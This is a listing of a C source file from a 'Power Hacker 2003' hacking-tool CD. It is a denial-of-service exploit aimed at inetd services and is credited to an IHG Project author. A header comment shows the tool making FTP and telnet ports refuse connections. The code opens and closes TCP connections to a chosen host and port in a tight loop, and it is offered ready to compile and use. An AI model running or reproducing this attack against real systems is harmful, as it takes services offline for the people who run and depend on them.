home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Hacking tool / DoS / inetddos.c < prev    next >
C/C++ Source or Header  |  2001-04-29  |  3KB  |  134 lines

  1. /*
  2. ----------------------------------
  3. Inetd DoS exploit bY Serega[Linux]
  4. IHG Project www.ihgroup.ru
  5. mailto:linux@ihgroup.ru
  6. ----------------------------------
  7.  
  8. Usage: ./inetddos <host> <port>
  9.  
  10. example:
  11.  
  12. [ser@ihg prog]$ ./pscaner -h 127.0.0.1
  13. -----------------------------
  14. Open ports on [127.0.0.1]
  15. [21] OPEN : 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
  16. [23] OPEN :
  17. [25] OPEN : 220 ihg.localhost ESMTP Sendmail 8.11.0/8.11.0; Sun, 25 Feb 2001 18:58:36 +0300
  18. -----------------------------
  19.  
  20. [ser@ihg prog]$ telnet 127.0.0.1 21
  21. Trying 127.0.0.1...
  22. Connected to 127.0.0.1.
  23. Escape character is '^]'.
  24. 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
  25.  
  26. [ser@ihg prog]$ cc inetddos.c -o inetddos
  27. [ser@ihg prog]$ ./inetddos 127.0.0.1 21
  28. DoS OK
  29. [ser@ihg prog]$ telnet 127.0.0.1 21
  30. Trying 127.0.0.1...
  31. telnet: Unable to connect to remote host: Connection refused
  32. [ser@ihg prog]$ telnet 127.0.0.1 23
  33. Trying 127.0.0.1...
  34. Connected to 127.0.0.1.
  35. Escape character is '^]'.
  36. login:
  37.  
  38. [ser@ihg prog]$ ./inetddos 127.0.0.1 23
  39. DoS OK
  40. [ser@ihg prog]$ telnet 127.0.0.1 23
  41. Trying 127.0.0.1...
  42. telnet: Unable to connect to remote host: Connection refused
  43.  
  44. */
  45.  
  46.  
  47. #include <netdb.h>
  48. #include <netinet/in.h>
  49. #include <sys/socket.h>
  50. #include <sys/types.h>
  51. #include <time.h>
  52. #include <signal.h>
  53.  
  54.  
  55. void time_out(int sig);
  56. int timeout=5;      
  57. char logo[512];
  58. int sockfd;
  59.  
  60. DoS (char *host, int port)
  61. {
  62. unsigned long int ip_addr;
  63. struct sockaddr_in serv;
  64.  
  65.  
  66. struct hostent *h;
  67. unsigned long int rv;
  68. serv.sin_family = AF_INET;
  69. if ((h=gethostbyname(host)) == NULL)
  70.     {
  71.     close(sockfd);
  72.     perror(host);
  73.     exit(1);
  74.     }
  75.  
  76.    if(h!=NULL)
  77. memcpy(&rv,h->h_addr,h->h_length);
  78.    else
  79.    rv=inet_addr(host);
  80. serv.sin_addr.s_addr = rv;
  81. serv.sin_port = htons(port);
  82.  
  83. if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
  84.     {
  85.     perror ("socket error");
  86.     exit(1);
  87.     }
  88.  
  89. alarm(timeout);
  90. signal(SIGALRM, (void *)&time_out);
  91.  
  92. if (connect (sockfd, (struct sockaddr*)&serv, sizeof(serv)) != 0)
  93.     {
  94.     close(sockfd);
  95.     perror(host);
  96.     exit(1);
  97.     }
  98.  
  99. alarm(0);
  100. close(sockfd);
  101. return(1);
  102. }
  103.  
  104.  
  105.  
  106. void time_out (int sig)
  107. {
  108.     close(sockfd);
  109.     printf("timeout\n");
  110.     exit(-1);
  111. }
  112.  
  113.  
  114. usage(char *h)
  115. {
  116. printf("----------------------------------\nInetd DoS exploit bY Serega[Linux]
  117. IHG Project www.ihgroup.ru
  118. mailto:linux@ihgroup.ru\n----------------------------------\n");
  119. printf("\nUsage: %s <host> <port>\n\n", h);
  120. exit(1);
  121. }
  122.  
  123.  
  124. main(int argc, char **argv)
  125. {
  126. int i;
  127. if (argc<3) usage(argv[0]);
  128.  
  129. for (i=1; i<1000; i++)
  130. DoS(argv[1], atoi(argv[2]));
  131. printf("DoS failed\n");
  132.  
  133. }
  134.